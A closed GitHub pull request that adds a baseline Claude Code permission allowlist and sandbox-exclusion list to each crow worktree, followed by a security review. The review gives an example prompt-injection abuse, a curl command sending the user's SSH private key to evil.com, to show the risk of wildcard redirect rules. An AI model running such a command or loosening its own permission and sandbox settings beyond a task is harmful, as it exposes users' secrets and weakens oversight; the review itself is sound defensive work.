Scaffold baseline allowlist into each crow worktree#248
Closed
dhilgaertner wants to merge 2 commits intomainfrom
Closed
Scaffold baseline allowlist into each crow worktree#248dhilgaertner wants to merge 2 commits intomainfrom
dhilgaertner wants to merge 2 commits intomainfrom
Conversation
Every Claude Code session launched by /crow-workspace landed in a fresh worktree with no permission allowlist, so it prompted for routine commands the prompt template itself instructs the session to run on step 1 (gh issue view, gh pr view, cat, tee, $TMPDIR redirects). Painful in solo flows; multiplied across tabs in /crow-batch-workspace. The dev-root .claude/settings.json was never inherited because Claude Code doesn't walk up parent directories. setup.sh now drops a baseline .claude/settings.local.json into each new worktree (gitignored on creation, merged with any project-shipped .claude/settings.json) sourced from session-settings.template.json next to the script. Existing settings.local.json files are left alone.
dgershman
approved these changes
May 7, 2026
Collaborator
dgershman
left a comment
There was a problem hiding this comment.
Code & Security Review
Critical Issues
None.
Security Review
Strengths:
write_session_settings()is best-effort — failures log and continue, never blocking worktree setup- Idempotent: existing
settings.local.jsonis preserved, preventing overwrites of repo-shipped or manually tuned settings - The allowlist augments (via Claude Code's scope-merge behavior) rather than replaces project-level
settings.json crowcommands are limited to read-only +set-status— nodelete-session,new-terminal, orsend- Minimal fallback in Scaffolder grants an empty allow list, so a missing template never silently grants permissions
Concerns:
- The redirect patterns
Bash(* > $TMPDIR/*),Bash(* > /tmp/claude/*),Bash(* | tee $TMPDIR/*), andBash(* | tee /tmp/claude/*)use a leading wildcard that matches any command redirecting to those paths. A prompt injection could exploit this to auto-approve arbitrary commands likecurl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa) > $TMPDIR/out. The sandbox provides defense-in-depth, but consider anchoring the command prefix (e.g., listing specific commands that may redirect) or documenting the accepted risk. Bash(gh api graphql:*)andBash(gh api repos:*)grant broad GitHub API access to worker sessions — powerful enough for token introspection or mass mutations. These are needed for project board automation, but worth noting as a broad surface.
Code Quality
- Scaffolder addition follows the established pattern exactly:
loadFromRepo→Bundle.main→ inline fallback SCRIPT_DIRderivation in setup.sh is correct and uses the canonicalBASH_SOURCE[0]approach- Call ordering in
main()is correct:setup_worktree→write_session_settings→create_session→launch_claude - Both template files (
Resources/andskills/) are byte-identical ✓ - Both templates validate as clean JSON ✓
bash -n setup.shpasses ✓bundle.shalready globsResources/*.template, so the new file is picked up automatically with no script changes needed- SKILL.md documentation is clear and covers the idempotency and merge semantics
Summary Table
| Priority | Issue |
|---|---|
| 🟡 Yellow | Leading-wildcard redirect patterns (* > $TMPDIR/*) auto-approve any command that writes to temp dirs — consider anchoring or documenting accepted risk |
| 🟡 Yellow | gh api graphql:* / gh api repos:* in worker sessions is a broad API surface |
| 🟢 Green | swift build fails in review worktree due to missing GhosttyKit.xcframework (submodule dependency) — not a PR issue, just can't verify full compilation in this environment |
Recommendation: Approve — this is a clean, well-structured addition that follows existing patterns. The two yellow items are worth considering but are mitigated by Claude Code's sandbox and the fact that worker sessions already operate with broad trust. The redirect wildcards are the most noteworthy item for a future tightening pass.
The first cut only set permissions.allow, which still left sandbox-enabled users seeing an "unsandboxed" prompt for gh issue view and friends — permissions allow the call but the sandbox separately gates network access. Add sandbox.exclude_commands: [git, crow, gh, glab] to the template. Critically omit sandbox.enabled so the key resolves to whatever each user has set globally — sandbox-off users stay off (and the exclude list is a no-op for them), sandbox-on users get the prompts suppressed.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
skills/crow-workspace/session-settings.template.jsonwith a baselinepermissions.allowlist covering the commands the crow prompt template instructs sessions to run on step 1 (gh issue view,glab issue view,gh pr view), git operations a feature branch needs, common shell utilities (cat,grep,jq,tee), and redirects to$TMPDIR//tmp/claude.setup.shnow copies the template to{worktree}/.claude/settings.local.jsonbetweensetup_worktreeandcreate_session. Best-effort (logs and continues on failure); leaves any existingsettings.local.jsonuntouched.Scaffolder.swiftemits the template alongsidesetup.shin{devRoot}/.claude/skills/crow-workspace/so it's available at runtime.Resources/crow-workspace-session-settings.json.templatemirrors the source for the production app bundle (scripts/bundle.shalready shipsResources/*.template).SKILL.mddocuments the new behavior under## crow Session Creation..claude/settings.local.jsonis auto-gitignored by Claude Code on creation, andpermissions.allowarrays merge across scopes — so the baseline augments rather than overrides any project-shipped.claude/settings.json.Test plan
make build— Scaffolder.swift compilesbash -n setup.sh— script syntax validwrite_session_settingsagainst a throwawayWORKTREE_PATH— file lands at{worktree}/.claude/settings.local.jsonwith contents that exactly matchsession-settings.template.jsonalready exists, leaving untouchedand does not modify the filepython3 -m json.toolparses bothskills/...andResources/...template files/crow-workspacesession against a GitHub issue — step 1 (gh issue view) runs without promptingCloses #247